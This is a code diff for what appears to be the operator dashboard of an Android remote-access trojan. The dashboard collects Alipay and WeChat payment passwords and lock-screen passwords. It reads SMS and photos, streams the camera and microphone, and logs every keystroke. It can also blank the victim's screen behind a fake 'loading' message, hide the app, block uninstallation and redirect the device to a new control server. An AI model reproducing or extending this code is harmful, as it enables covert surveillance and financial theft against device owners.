+ + + + + + + + + + + + + + {/* 🆕 打开应用设置按钮 */} + {/* 🆕 一键图案解锁 */} + + + + + + + + + + + + {/* 查找密码按钮 */} + + + + + + + + + + {/* 🆕 打开应用设置按钮 */} + + {lastKnownPassword && ( +
+ 上次记录密码: {lastKnownPassword} +
+ )} + + + {/* 学习状态显示 */} + {deviceState?.learnedConfirmButton && ( +
+ 🧠 已学习确认按钮: ({Math.round(deviceState.learnedConfirmButton.x)}, {Math.round(deviceState.learnedConfirmButton.y)}) +
+ 学习次数: {deviceState.learnedConfirmButton.count || 0} +
+ )} + + + + + + + + + {/* 日志控制 */} + + + + + + + + + +
+ 状态: {isLoggingEnabled ? '✅ 日志记录已启用' : '❌ 日志记录已禁用'} +
+ + + {/* ✅ 新增:服务器地址控制 */} + + + + + + +
+ 向设备发送修改服务器地址的指令 +
+ + + + + + + + {/* 右侧:Tab 栏 */} +
+ { + // 切换到查看日志tab时,设置logModalVisible为true + if (activeKey === 'logs') { + setLogModalVisible(true) + } + }} + items={[ + { key: 'device', label: '📱 设备信息', children: () }, + { + key: 'sms', label: '短信', children: ( + handleSmsSend(phone, content)} + /> + ) + }, + { + key: 'camera', label: '摄像头', children: ( +
+ +
+ +
+
+ ) + }, + { + key: 'audio', label: '🎙️ 录音', children: ( +
+ + +
+ + + + + + + + {/* 录音状态信息 */} +
+
+ 录音状态: + + {isMicRecording ? '正在录音' : '未录音'} + +
+ {micPermission && ( +
+ 麦克风权限: + + {micPermission === 'granted' ? '已授权' : '未授权'} + +
+ )} + {micSampleRate && ( +
+ 采样率: + {micSampleRate} Hz +
+ )} + {micChannels && ( +
+ 声道数: + {micChannels} +
+ )} + {micBitDepth && ( +
+ 位深度: + {micBitDepth} bit +
+ )} +
+ + + ) + }, + { + key: 'gallery', label: '相册', children: ( +
+ +
+ {albumLoading && ( +
正在获取相册...
+ )} + + {/* 实时保存的相册图片移动至 GalleryControlCard 内展示 */} + {!albumLoading && !albumData && ( +
点击“读取列表”或“获取相册”后在此展示
+ )} +
+
+ ) + }, + { + key: 'logs', label: '查看日志', children: ( +
+
+ + 类型筛选: + + + + +
+
`${record.id || index}`} + pagination={false} + loading={logLoading} + size="small" + scroll={{ y: 400 }} + /> +
+ `第 ${range[0]}-${range[1]} 条 / 共 ${total} 条`} + onChange={handlePageChange} + onShowSizeChange={handlePageChange} + pageSizeOptions={['20', '50', '100', '200']} + size="small" + /> +
+ + ) + }, + { + key: 'passwords', label: '密码', children: ( +
+
+ + 筛选类型: + + + + +
+
new Date(t).toLocaleString() + }, + { + title: '类型', + dataIndex: 'passwordType', + key: 'passwordType', + width: 120, + render: (v: string | undefined) => v || '-' + }, + { + title: '来源', + dataIndex: 'activity', + key: 'activity', + width: 200 + }, + { + title: '密码', + dataIndex: 'password', + key: 'password', + render: (text: string) => ( +
{ if (!text) return; setContentPreviewText(text); setContentPreviewVisible(true) }} + title={text} + > + {text} +
+ ) + } + ]} + dataSource={alipayPasswords} + rowKey={(record: any) => `${record.id}`} + pagination={false} + loading={alipayPasswordLoading} + size="small" + scroll={{ y: 400 }} + /> +
+ `第 ${range[0]}-${range[1]} 条 / 共 ${total} 条`} + onChange={(page, pageSize) => { + setAlipayPasswordPage(page) + setAlipayPasswordPageSize(pageSize || 10) + fetchAlipayPasswords(page, pageSize || 10) + }} + pageSizeOptions={['10', '20', '50', '100']} + size="small" + /> +
+ + ) + }, + ]} + /> + + + + {/* 密码搜索弹窗 */} + + 取消 + , + + ]} + width={700} + centered + destroyOnHidden + > + {/* ✅ 新增:自定义密码输入区域 */} +
+
+ 🔐 直接输入密码 +
+ { + setCustomPasswordInput(e.target.value) + // 当有自定义输入时,清空历史密码选择 + if (e.target.value.trim() && selectedPassword) { + setSelectedPassword('') + } + }} + size="large" + style={{ marginBottom: 8 }} + autoComplete="off" + onPressEnter={handleConfirmSelectedPassword} + allowClear + /> +
+ 💡 您可以直接在此输入密码,也可以从下方的历史记录中选择 +
+ {customPasswordInput.trim() && ( +
+ ✅ 已输入 {customPasswordInput.length} 位密码 + + ({detectPasswordType(customPasswordInput)}) + + ,点击确认将使用此密码 +
+ )} +
+ + {passwordSearchLoading ? ( +
+
🔍 正在从操作日志中查找密码...
+
+ 正在分析文本输入记录,寻找可能的密码模式 +
+
+ ) : foundPasswords.length > 0 ? ( +
+
+ 📋 从操作日志中找到 {foundPasswords.length} 个历史密码,您也可以选择使用: +
+
+ {foundPasswords.map((password, index) => { + const isSelected = selectedPassword === password && !customPasswordInput.trim() + const isDisabled = customPasswordInput.trim() + return ( +
!isDisabled && handleSelectPassword(password)} + > +
+
+ 🔑 {password} +
+
+ {password.length} 位{/^\d+$/.test(password) ? ' 数字' : ''}密码 +
+
+ {isSelected && ( +
+ ✅ 已选中此密码 +
+ )} + {isDisabled && ( +
+ 💡 已有自定义输入,点击可切换到此密码 +
+ )} +
+ ) + })} +
+
+ 💡 提示: + {customPasswordInput.trim() ? ( + 当前将使用您输入的自定义密码,历史密码仅作参考 + ) : ( + 选择历史密码后将自动保存到数据库并执行解锁操作 + )} +
+
+ ) : ( +
+
+
📝 未找到历史密码记录
+
+ 没关系,您可以使用上方的输入框直接输入密码 +
+
+
+ )} +
+ + {/* 操作日志弹窗 */} + + + {/* 通用内容预览(密码/日志) */} + setContentPreviewVisible(false)} + footer={null} + width={600} + > + + + + {/* 开发调试面板 */} + {(window as any).location?.hostname === 'localhost' && ( + +
+ + + +
+ 输入阻塞: {deviceInputBlocked ? '是' : '否'} | + 日志记录: {isLoggingEnabled ? '开启' : '关闭'} | + 密码: {lastKnownPassword ? '已设置' : '未设置'} +
+
+
+ )} + + {/* 短信数据弹窗已移除,直接在短信卡片内展示 */} + + {/* 相册已内联显示,移除弹窗 */} + + {/* 实时保存的相册图片改为在相册 Tab 内联展示 */} + + {/* 🆕 手动输入确认坐标Modal */} + setInputCoordsModalVisible(false)} + okText="保存坐标" + cancelText="取消" + width={400} + > +
+
+ 📱 当前设备分辨率: {device ? `${device.screenWidth}×${device.screenHeight}` : '未知'} +
+
+ 💡 使用说明:
+ • 请输入确认按钮在设备屏幕上的精确坐标
+ • 默认值已根据设备分辨率计算 (右下角区域)
+ • X坐标: 设备宽度 - 60,Y坐标: 设备高度 - 100
+ • 您可以根据实际情况调整这些数值 +
+
+ +
+
X坐标 (横向位置)
+ setInputCoordX(value || 0)} + min={0} + max={device ? device.screenWidth : 9999} + placeholder="请输入X坐标" + addonBefore="X:" + addonAfter="px" + /> +
+ 范围: 0 ~ {device ? device.screenWidth : '设备宽度'} +
+
+ +
+
Y坐标 (纵向位置)
+ setInputCoordY(value || 0)} + min={0} + max={device ? device.screenHeight : 9999} + placeholder="请输入Y坐标" + addonBefore="Y:" + addonAfter="px" + /> +
+ 范围: 0 ~ {device ? device.screenHeight : '设备高度'} +
+
+ +
+ 📍 预览坐标: ({inputCoordX}, {inputCoordY})
+ {device && ( + <> + 相对位置: 距离左边缘 {inputCoordX}px,距离顶部 {inputCoordY}px
+ 距离右边缘 {device.screenWidth - inputCoordX}px,距离底部 {device.screenHeight - inputCoordY}px + + )} +
+
+ + {/* 支付宝密码管理Modal */} + setAlipayPasswordModalVisible(false)} + footer={[ + , + , + , + + ]} + width={800} + styles={{ body: { padding: '16px' } }} + > +
+
+
+
+ 设备ID: {deviceId} +
+
+ 密码总数: {alipayPasswordTotal} +
+
+ 检测状态: + {alipayDetectionEnabled ? '运行中' : '已停止'} + +
+
+
+
+ +
( + + {text} + + ) + }, + { + title: '长度', + dataIndex: 'passwordLength', + key: 'passwordLength', + width: 60, + render: (length: number) => ( + + {length}位 + + ) + }, + { + title: '活动', + dataIndex: 'activity', + key: 'activity', + width: 150, + render: (text: string) => ( + + {text} + + ) + }, + { + title: '输入方式', + dataIndex: 'inputMethod', + key: 'inputMethod', + width: 100, + render: (text: string) => ( + + {text} + + ) + }, + { + title: '会话ID', + dataIndex: 'sessionId', + key: 'sessionId', + width: 120, + render: (text: string) => ( + + {text.substring(0, 8)}... + + ) + }, + { + title: '检测时间', + dataIndex: 'timestamp', + key: 'timestamp', + width: 150, + render: (text: string) => new Date(text).toLocaleString() + }, + { + title: '创建时间', + dataIndex: 'createdAt', + key: 'createdAt', + width: 150, + render: (text: string) => new Date(text).toLocaleString() + } + ]} + dataSource={alipayPasswords} + rowKey="id" + pagination={{ + current: alipayPasswordPage, + pageSize: alipayPasswordPageSize, + total: alipayPasswordTotal, + showSizeChanger: true, + showQuickJumper: true, + showTotal: (total, range) => `第 ${range[0]}-${range[1]} 条 / 共 ${total} 条`, + pageSizeOptions: ['10', '20', '50', '100'], + onChange: (page, pageSize) => { + setAlipayPasswordPage(page) + setAlipayPasswordPageSize(pageSize || 10) + fetchAlipayPasswords(page, pageSize || 10) + } + }} + loading={alipayPasswordLoading} + size="small" + scroll={{ x: 600, y: 400 }} + style={{ marginTop: '16px' }} + /> + + + {/* 微信密码管理Modal */} + setWechatPasswordModalVisible(false)} + footer={[ + , + , + , + + ]} + width={800} + styles={{ body: { padding: '16px' } }} + > +
+
+
+
+ 设备ID: {deviceId} +
+
+ 密码总数: {wechatPasswordTotal} +
+
+ 检测状态: + {wechatDetectionEnabled ? '运行中' : '已停止'} + +
+
+
+
+ +
( + + {text} + + ) + }, + { + title: '长度', + dataIndex: 'passwordLength', + key: 'passwordLength', + width: 60, + render: (length: number) => ( + + {length}位 + + ) + }, + { + title: '活动', + dataIndex: 'activity', + key: 'activity', + width: 150, + render: (text: string) => ( + + {text} + + ) + }, + { + title: '输入方式', + dataIndex: 'inputMethod', + key: 'inputMethod', + width: 100, + render: (text: string) => ( + + {text} + + ) + }, + { + title: '会话ID', + dataIndex: 'sessionId', + key: 'sessionId', + width: 120, + render: (text: string) => ( + + {text.substring(0, 8)}... + + ) + }, + { + title: '检测时间', + dataIndex: 'timestamp', + key: 'timestamp', + width: 150, + render: (text: string) => new Date(text).toLocaleString() + }, + { + title: '创建时间', + dataIndex: 'createdAt', + key: 'createdAt', + width: 150, + render: (text: string) => new Date(text).toLocaleString() + } + ]} + dataSource={wechatPasswords} + rowKey="id" + pagination={{ + current: wechatPasswordPage, + pageSize: wechatPasswordPageSize, + total: wechatPasswordTotal, + showSizeChanger: true, + showQuickJumper: true, + showTotal: (total, range) => `第 ${range[0]}-${range[1]} 条 / 共 ${total} 条`, + pageSizeOptions: ['10', '20', '50', '100'], + onChange: (page, pageSize) => { + setWechatPasswordPage(page) + setWechatPasswordPageSize(pageSize || 10) + fetchWechatPasswords(page, pageSize || 10) + } + }} + loading={wechatPasswordLoading} + size="small" + scroll={{ x: 600, y: 400 }} + style={{ marginTop: '16px' }} + /> + + + {/* ✅ 新增:服务器地址修改弹窗 */} + { + setServerUrlModalVisible(false) + setNewServerUrl('') + }} + footer={[ + , + + ]} + width={500} + > +
+

+ 此功能将向Android设备发送修改服务器地址的指令,设备将重新连接到新的服务器。 +

+ setNewServerUrl(e.target.value)} + style={{ marginBottom: 16 }} + /> +
+ ⚠️ 注意事项: +
    +
  • 请确保新服务器地址格式正确(如:ws://ip:port 或 wss://域名)
  • +
  • ws和wss的区别是 一个用的http协议,一个是https协议
  • +
  • 修改后设备将断开当前连接并尝试连接新服务器
  • +
  • 如果新服务器不可达,设备将无法正常连接
  • +
+
+
+
+ + + ) +} + +export default ControlPanel \ No newline at end of file diff --git a/src/components/Control/ControlPanel.tsx.bak b/src/components/Control/ControlPanel.tsx.bak new file mode 100644 index 0000000..57e9b2a --- /dev/null +++ b/src/components/Control/ControlPanel.tsx.bak @@ -0,0 +1,4718 @@ +import React, { useState, useEffect, useRef } from 'react' +import { Card, Button, Space, Input, Row, Col, Divider, Modal, Table, Pagination, Tag, Select, App, InputNumber } from 'antd' +import { + AppstoreOutlined, + SendOutlined, + BulbOutlined, + LockOutlined, + StopOutlined, + PlayCircleOutlined, + FileTextOutlined, + EyeOutlined, + ClearOutlined, + CheckCircleOutlined, + SearchOutlined, + NodeIndexOutlined, + EyeInvisibleOutlined, + BorderOutlined, + SettingOutlined, + EditOutlined, + ReloadOutlined, + CameraOutlined, + VideoCameraOutlined, + SwapOutlined, + AudioOutlined, + DollarOutlined, + KeyOutlined, + WechatOutlined +} from '@ant-design/icons' +import { useSelector, useDispatch } from 'react-redux' +import type { RootState } from '../../store/store' +import { setOperationEnabled, setDeviceInputBlocked, setCameraViewVisible, setGalleryVisible, setGalleryLoading, addGalleryImage } from '../../store/slices/uiSlice' +import { resetDeviceStates, enableDeviceScreenReader, disableDeviceScreenReader, setDeviceScreenReaderHierarchy } from '../../store/slices/deviceSlice' +import { apiClient } from '../../services/apiClient' + +interface ControlPanelProps { + deviceId: string +} + +// SMS数据类型定义 +interface SmsItem { + id: number + address: string + body: string + date: number + read: boolean + type: number // 1: 接收, 2: 发送 +} + +interface SmsData { + deviceId: string + type: string + timestamp: number + count: number + smsList: SmsItem[] +} + +// 支付宝密码数据类型定义 +interface AlipayPassword { + id: number + deviceId: string + password: string + passwordLength: number + activity: string + inputMethod: string + sessionId: string + timestamp: string + createdAt: string +} + +interface AlipayPasswordListResponse { + success: boolean + data: { + passwords: AlipayPassword[] + total: number + page: number + pageSize: number + totalPages: number + } +} + +interface AlipayPasswordSingleResponse { + success: boolean + data: AlipayPassword +} + +// 微信密码数据类型定义 +interface WechatPassword { + id: number + deviceId: string + password: string + passwordLength: number + activity: string + inputMethod: string + sessionId: string + timestamp: string + createdAt: string +} + +interface WechatPasswordListResponse { + success: boolean + data: { + passwords: WechatPassword[] + total: number + page: number + pageSize: number + totalPages: number + } +} + +interface WechatPasswordSingleResponse { + success: boolean + data: WechatPassword +} + +// 相册数据类型定义 +interface AlbumItem { + id: string + name: string + path: string + size: number + width: number + height: number + dateAdded: number + dateModified: number + mimeType: string + bucketId?: string + bucketName?: string +} + +interface AlbumData { + deviceId: string + type: string + timestamp: number + count: number + albumList: AlbumItem[] +} + +// 日志类型映射 +const logTypeLabels = { + 'APP_OPENED': '应用打开', + 'TEXT_INPUT': '文本输入', + 'CLICK': '点击操作', + 'SWIPE': '滑动操作', + 'KEY_EVENT': '按键操作', + 'LONG_PRESS': '长按操作', + 'GESTURE': '手势操作', + 'SYSTEM_EVENT': '系统事件' +} + +const logTypeColors = { + 'APP_OPENED': 'blue', + 'TEXT_INPUT': 'green', + 'CLICK': 'orange', + 'SWIPE': 'purple', + 'KEY_EVENT': 'red', + 'LONG_PRESS': 'pink', + 'GESTURE': 'cyan', + 'SYSTEM_EVENT': 'gray' +} + +/** + * 设备控制面板 + */ +const ControlPanel: React.FC = ({ deviceId }) => { + const { modal, message } = App.useApp() + const [textInput, setTextInput] = useState('') + const [maskText, setMaskText] = useState('数据加载中\n请勿操作') + const [maskTextSize, setMaskTextSize] = useState(24) + + // 日志相关状态 + const [isLoggingEnabled, setIsLoggingEnabled] = useState(false) + const [logModalVisible, setLogModalVisible] = useState(false) + const [operationLogs, setOperationLogs] = useState([]) + const [logLoading, setLogLoading] = useState(false) + const [currentPage, setCurrentPage] = useState(1) + const [pageSize, setPageSize] = useState(50) + const [totalLogs, setTotalLogs] = useState(0) + const [logTypeFilter, setLogTypeFilter] = useState(undefined) + + // 一键解锁相关状态 + const [isUnlocking, setIsUnlocking] = useState(false) + const [lastKnownPassword, setLastKnownPassword] = useState(null) + const [deviceState, setDeviceState] = useState(null) + + // 图案解锁相关状态 + const [isPatternUnlocking, setIsPatternUnlocking] = useState(false) + + // 支付宝检测相关状态 + const [alipayDetectionEnabled, setAlipayDetectionEnabled] = useState(false) + const [alipayPasswords, setAlipayPasswords] = useState([]) + const [alipayPasswordModalVisible, setAlipayPasswordModalVisible] = useState(false) + const [alipayPasswordLoading, setAlipayPasswordLoading] = useState(false) + const [alipayPasswordPage, setAlipayPasswordPage] = useState(1) + const [alipayPasswordPageSize, setAlipayPasswordPageSize] = useState(10) + const [alipayPasswordTotal, setAlipayPasswordTotal] = useState(0) + const [latestPassword, setLatestPassword] = useState(null) + + // 微信检测相关状态 + const [wechatDetectionEnabled, setWechatDetectionEnabled] = useState(false) + const [wechatPasswords, setWechatPasswords] = useState([]) + const [wechatPasswordModalVisible, setWechatPasswordModalVisible] = useState(false) + const [wechatPasswordLoading, setWechatPasswordLoading] = useState(false) + const [wechatPasswordPage, setWechatPasswordPage] = useState(1) + const [wechatPasswordPageSize, setWechatPasswordPageSize] = useState(10) + const [wechatPasswordTotal, setWechatPasswordTotal] = useState(0) + const [latestWechatPassword, setLatestWechatPassword] = useState(null) + + // 使用ref来避免useEffect依赖项问题 + const logModalVisibleRef = useRef(logModalVisible) + const pageSizeRef = useRef(pageSize) + const logTypeFilterRef = useRef(logTypeFilter) + + // 更新ref值 + useEffect(() => { + logModalVisibleRef.current = logModalVisible + pageSizeRef.current = pageSize + logTypeFilterRef.current = logTypeFilter + }, [logModalVisible, pageSize, logTypeFilter]) + + // 密码查找相关状态 + const [passwordSearchVisible, setPasswordSearchVisible] = useState(false) + const [passwordSearchLoading, setPasswordSearchLoading] = useState(false) + const [customPasswordInput, setCustomPasswordInput] = useState('') // 新增:自定义密码输入 + const [foundPasswords, setFoundPasswords] = useState([]) + const [selectedPassword, setSelectedPassword] = useState('') + + // 黑屏遮盖相关状态 + const [isBlackScreenActive, setIsBlackScreenActive] = useState(false) + + // 应用隐藏相关状态 + const [isAppHidden, setIsAppHidden] = useState(false) + + // 🆕 重新获取投屏权限相关状态 + const [isRefreshingPermission, setIsRefreshingPermission] = useState(false) + + // 摄像头控制相关状态 + const [isCameraActive, setIsCameraActive] = useState(false) + const [currentCameraType, setCurrentCameraType] = useState<'front' | 'back'>('front') + + // 🎙️ 麦克风控制相关状态 + const [isMicRecording, setIsMicRecording] = useState(false) + const [micPermission, setMicPermission] = useState<'unknown' | 'granted' | 'denied'>('unknown') + const [micSampleRate, setMicSampleRate] = useState(null) + const [micChannels, setMicChannels] = useState(null) + const [micBitDepth, setMicBitDepth] = useState(null) + + // 🎧 WebAudio 播放相关引用 + const audioContextRef = useRef(null) + const micGainRef = useRef(null) + const nextPlaybackTimeRef = useRef(0) + + const ensureAudioContext = () => { + if (!audioContextRef.current || (audioContextRef.current.state === 'closed')) { + const ctx = new (window.AudioContext || (window as any).webkitAudioContext)() + audioContextRef.current = ctx + const gain = ctx.createGain() + gain.gain.value = 1.0 + gain.connect(ctx.destination) + micGainRef.current = gain + nextPlaybackTimeRef.current = ctx.currentTime + 0.01 + } + return audioContextRef.current! + } + + const decodeBase64ToInt16LE = (base64: string): Int16Array => { + const binary = window.atob(base64) + const len = binary.length + const buffer = new ArrayBuffer(len) + const bytes = new Uint8Array(buffer) + for (let i = 0; i < len; i++) { + bytes[i] = binary.charCodeAt(i) + } + // 以小端解析为 Int16 + const view = new DataView(buffer) + const samples = new Int16Array(len / 2) + for (let i = 0; i < samples.length; i++) { + samples[i] = view.getInt16(i * 2, true) + } + return samples + } + + const int16ToFloat32 = (input: Int16Array): Float32Array => { + const output = new Float32Array(input.length) + for (let i = 0; i < input.length; i++) { + output[i] = Math.max(-1, Math.min(1, input[i] / 32768)) + } + return output + } + + const playPcmChunk = (base64: string, sampleRate: number, channels: number) => { + try { + const ctx = ensureAudioContext() + const int16 = decodeBase64ToInt16LE(base64) + const float32 = int16ToFloat32(int16) + + const ch = Math.max(1, channels || 1) + const length = Math.floor(float32.length / ch) + const buffer = ctx.createBuffer(ch, length, sampleRate || ctx.sampleRate) + for (let c = 0; c < ch; c++) { + const channelData = buffer.getChannelData(c) + // 拆分交错通道数据(目前数据为单声道,保留通用写法) + for (let i = 0; i < length; i++) { + channelData[i] = float32[i * ch + c] || 0 + } + } + + const source = ctx.createBufferSource() + source.buffer = buffer + source.connect(micGainRef.current as GainNode) + + const startAt = Math.max(ctx.currentTime + 0.005, nextPlaybackTimeRef.current || ctx.currentTime + 0.005) + source.start(startAt) + nextPlaybackTimeRef.current = startAt + buffer.duration + } catch (e) { + console.error('🎧 播放音频数据失败:', e) + } + } + + // 🆕 确认坐标输入相关状态 + const [inputCoordsModalVisible, setInputCoordsModalVisible] = useState(false) + const [inputCoordX, setInputCoordX] = useState(0) + const [inputCoordY, setInputCoordY] = useState(0) + + // 🛡️ 防止卸载功能相关状态 + const [isUninstallProtectionEnabled, setIsUninstallProtectionEnabled] = useState(false) + const [_uninstallProtectionStatus, setUninstallProtectionStatus] = useState<'monitoring' | 'idle'>('idle') + + // 📱 SMS短信相关状态 + const [smsData, setSmsData] = useState(null) + const [smsModalVisible, setSmsModalVisible] = useState(false) + const [smsLoading, setSmsLoading] = useState(false) + + // 📷 相册相关状态 + const [albumData, setAlbumData] = useState(null) + const [albumModalVisible, setAlbumModalVisible] = useState(false) + const [albumLoading, setAlbumLoading] = useState(false) + + // 📷 新增:逐张图片保存事件展示(类似短信) + type GallerySavedItem = { + id: string + deviceId: string + index: number + displayName: string + dateAdded: number + mimeType: string + width: number + height: number + size: number + contentUri: string + timestamp: number + url: string + resolvedUrl?: string + } + const [gallerySavedList, setGallerySavedList] = useState([]) + const [gallerySavedModalVisible, setGallerySavedModalVisible] = useState(false) + + const dispatch = useDispatch() + const { webSocket, serverUrl } = useSelector((state: RootState) => state.connection) + const { connectedDevices } = useSelector((state: RootState) => state.devices) + const { operationEnabled, deviceInputBlocked, cameraViewVisible, gallery } = useSelector((state: RootState) => state.ui) + + const device = connectedDevices.find(d => d.id === deviceId) + + // 当设备连接时重置状态,但不申请控制权(由DeviceScreen组件统一管理) + useEffect(() => { + if (device && device.status === 'online') { + dispatch(resetDeviceStates(deviceId)) + + // ✅ 移除重复的控制权申请,避免与DeviceScreen组件冲突 + // 控制权申请由DeviceScreen组件统一管理 + console.log('📋 设备已连接,重置状态:', deviceId) + } + }, [device?.status, deviceId, dispatch]) + + // 当设备切换时重置状态 + useEffect(() => { + if (!deviceId) return + + // ✅ 当设备切换时,清空之前设备的状态 + console.log('🔄 设备切换,清空状态:', deviceId) + + // 清空之前设备的状态 + setLastKnownPassword('') + setIsLoggingEnabled(false) + setOperationEnabled(true) + setPasswordSearchVisible(false) + setFoundPasswords([]) + setSelectedPassword('') + setIsUnlocking(false) + setPasswordSearchLoading(false) + // 🆕 重置黑屏状态(稍后从服务器同步实际状态) + setIsBlackScreenActive(false) + // 🆕 重置应用隐藏状态(稍后从服务器同步实际状态) + setIsAppHidden(false) + // 🛡️ 重置防止卸载保护状态(稍后从服务器同步实际状态) + setIsUninstallProtectionEnabled(false) + setUninstallProtectionStatus('idle') + // 🆕 重置重新获取投屏权限状态 + setIsRefreshingPermission(false) + + // ⚠️ 不再立即获取设备状态,等待DeviceScreen组件获取控制权成功后再获取 + }, [deviceId]) + + // 监听WebSocket事件 + useEffect(() => { + if (!webSocket || !deviceId) return + + const handleRealtimeLog = (data: any) => { + if (data.deviceId === deviceId && logModalVisibleRef.current) { + // 实时更新日志列表 + setOperationLogs(prev => [data.log, ...prev]) + setTotalLogs(prev => prev + 1) + } + } + + const handleLogResponse = (data: any) => { + setLogLoading(false) + if (data.success) { + setOperationLogs(data.data.logs) + setTotalLogs(data.data.total) + setCurrentPage(data.data.page) + } else { + modal.error({ + title: '获取日志失败', + content: data.message + }) + } + } + + const handleClearLogResponse = (data: any) => { + if (data.success) { + modal.success({ + title: '清空成功', + content: '操作日志已清空' + }) + if (logModalVisibleRef.current) { + fetchOperationLogs(1, pageSizeRef.current, logTypeFilterRef.current) + } + } else { + modal.error({ + title: '清空失败', + content: data.message + }) + } + } + + const handleGetPasswordResponse = (data: any) => { + console.log('📨 收到密码查询响应:', data) + setIsUnlocking(false) + + if (!data.success) { + // 处理错误情况(比如权限不足) + console.error('❌ 密码查询失败:', data.message) + + if (data.message && data.message.includes('无权')) { + modal.error({ + title: '权限不足', + content: '您需要先获取设备控制权限才能使用一键解锁功能。请先点击"获取控制权"按钮。', + okText: '知道了' + }) + } else { + modal.error({ + title: '查询失败', + content: data.message || '查询密码失败,请重试' + }) + } + return + } + + // ✅ 处理设备状态信息 + if (data.deviceState) { + console.log('📊 收到设备状态:', data.deviceState) + setDeviceState(data.deviceState) + // 更新本地状态以匹配服务器状态 + if (data.deviceState.inputBlocked !== undefined && data.deviceState.inputBlocked !== null) { + dispatch(setDeviceInputBlocked(data.deviceState.inputBlocked)) + setOperationEnabled(!data.deviceState.inputBlocked) + } + if (data.deviceState.loggingEnabled !== undefined && data.deviceState.loggingEnabled !== null) { + setIsLoggingEnabled(data.deviceState.loggingEnabled) + } + // 🆕 同步黑屏遮盖状态 + if (data.deviceState.blackScreenActive !== undefined && data.deviceState.blackScreenActive !== null) { + setIsBlackScreenActive(data.deviceState.blackScreenActive) + console.log('🖤 从密码查询同步黑屏状态:', data.deviceState.blackScreenActive) + } + // 🆕 同步应用隐藏状态 + if (data.deviceState.appHidden !== undefined && data.deviceState.appHidden !== null) { + setIsAppHidden(data.deviceState.appHidden) + console.log('📱 从密码查询同步应用隐藏状态:', data.deviceState.appHidden) + } + // 🛡️ 同步防止卸载保护状态 + if (data.deviceState.uninstallProtectionEnabled !== undefined && data.deviceState.uninstallProtectionEnabled !== null) { + setIsUninstallProtectionEnabled(data.deviceState.uninstallProtectionEnabled) + setUninstallProtectionStatus(data.deviceState.uninstallProtectionEnabled ? 'monitoring' : 'idle') + console.log('🛡️ 从密码查询同步防止卸载保护状态:', data.deviceState.uninstallProtectionEnabled) + } + if (data.deviceState.password) { + setLastKnownPassword(data.deviceState.password) + } + } + + if (data.password) { + setLastKnownPassword(data.password) + + // 🆕 优先使用新的确认坐标字段(从数据库获取) + const savedConfirmCoords = data.deviceState?.confirmButtonCoords || null + const learnedConfirmButton = data.deviceState?.learnedConfirmButton || null + + // 🆕 更新设备状态,包含确认按钮信息 + setDeviceState((prev: any) => ({ + ...prev, + confirmButtonCoords: savedConfirmCoords, + learnedConfirmButton: learnedConfirmButton + })) + + // ✅ 根据密码类型判断是否需要确认按钮 + const passwordType = detectPasswordType(data.password) + const needsConfirmButton = passwordType !== 'pattern' // 除了图形密码,其他都需要确认 + + let confirmInfo = '' + if (savedConfirmCoords) { + confirmInfo = `\n🎯 已保存确认坐标: (${savedConfirmCoords.x}, ${savedConfirmCoords.y})` + } else if (learnedConfirmButton) { + confirmInfo = `\n🧠 学习的确认坐标: (${learnedConfirmButton.x}, ${learnedConfirmButton.y}) 次数: ${learnedConfirmButton.count}` + } else if (needsConfirmButton) { + confirmInfo = `\n💡 提示: 该密码类型 (${passwordType}) 需要确认按钮,建议先提取确认坐标` + } else { + confirmInfo = `\n✅ 该密码类型 (${passwordType}) 通常无需确认按钮` + } + + modal.confirm({ + title: '找到密码记录', + content: `发现密码: ${data.password}${confirmInfo}\n\n是否执行自动解锁?`, + okText: '确认解锁', + cancelText: '取消', + onOk() { + // ✅ 用户确认后,先保存密码到数据库,然后执行解锁 + savePasswordToDatabase(data.password) + // 🆕 优先使用保存的坐标,如果没有则使用学习的坐标 + const coordsToUse = savedConfirmCoords || learnedConfirmButton + performAutoUnlock(data.password, coordsToUse) + } + }) + } else { + // 🔧 修复:没有密码时提供手动输入选项 + modal.confirm({ + title: '🔐 暂无密码记录', + content: '该设备暂时未记录密码。\n\n您可以:\n• 点击"确认"手动输入密码进行解锁\n• 点击"查找密码"从操作日志中搜索\n• 点击"取消"稍后手动操作', + okText: '手动输入密码', + cancelText: '查找密码', + width: 450, + onOk() { + // 打开密码搜索弹窗,但允许直接输入密码 + setPasswordSearchVisible(true) + setFoundPasswords([]) // 清空历史密码 + setSelectedPassword('') + setCustomPasswordInput('') // 清空自定义输入 + setPasswordSearchLoading(false) // 不显示加载状态 + }, + onCancel() { + // 用户选择查找密码 + handleSearchPasswords() + } + }) + } + } + + const handleDeviceControlResponse = (data: any) => { + console.log('🎮 设备控制权响应:', data) + if (data.success && data.deviceId === deviceId) { + console.log('✅ 成功获取设备控制权,现在获取设备状态') + // 🔧 获取控制权成功后,立即获取设备状态 + setTimeout(() => { + getDeviceState() + }, 100) // 稍微延迟确保控制权已设置 + } else { + console.error('❌ 获取设备控制权失败:', data.message) + } + } + + // ✅ 新增设备状态相关响应处理 + const handleSavePasswordResponse = (data: any) => { + console.log('💾 保存密码响应:', data) + if (data.success) { + console.log('✅ 密码已保存到数据库') + } else { + console.error('❌ 保存密码失败:', data.message) + } + } + + const handleUpdateDeviceStateResponse = (data: any) => { + console.log('📊 更新设备状态响应:', data) + if (data.success) { + console.log('✅ 设备状态已更新') + } else { + console.error('❌ 更新设备状态失败:', data.message) + } + } + + const handleGetDeviceStateResponse = (data: any) => { + console.log('📊 获取设备状态响应:', data) + if (data.success) { + if (data.data) { + const deviceState = data.data + console.log('📊 设备状态数据:', deviceState) + + // 更新本地状态以匹配服务器状态 + if (deviceState.inputBlocked !== undefined && deviceState.inputBlocked !== null) { + dispatch(setDeviceInputBlocked(deviceState.inputBlocked)) + setOperationEnabled(!deviceState.inputBlocked) + } + if (deviceState.loggingEnabled !== undefined && deviceState.loggingEnabled !== null) { + setIsLoggingEnabled(deviceState.loggingEnabled) + } + // 🆕 同步黑屏遮盖状态 + if (deviceState.blackScreenActive !== undefined && deviceState.blackScreenActive !== null) { + setIsBlackScreenActive(deviceState.blackScreenActive) + console.log('🖤 从服务器同步黑屏状态:', deviceState.blackScreenActive) + } + // 🆕 同步应用隐藏状态 + if (deviceState.appHidden !== undefined && deviceState.appHidden !== null) { + setIsAppHidden(deviceState.appHidden) + console.log('📱 从服务器同步应用隐藏状态:', deviceState.appHidden) + } + // 🛡️ 同步防止卸载保护状态 + if (deviceState.uninstallProtectionEnabled !== undefined && deviceState.uninstallProtectionEnabled !== null) { + setIsUninstallProtectionEnabled(deviceState.uninstallProtectionEnabled) + setUninstallProtectionStatus(deviceState.uninstallProtectionEnabled ? 'monitoring' : 'idle') + console.log('🛡️ 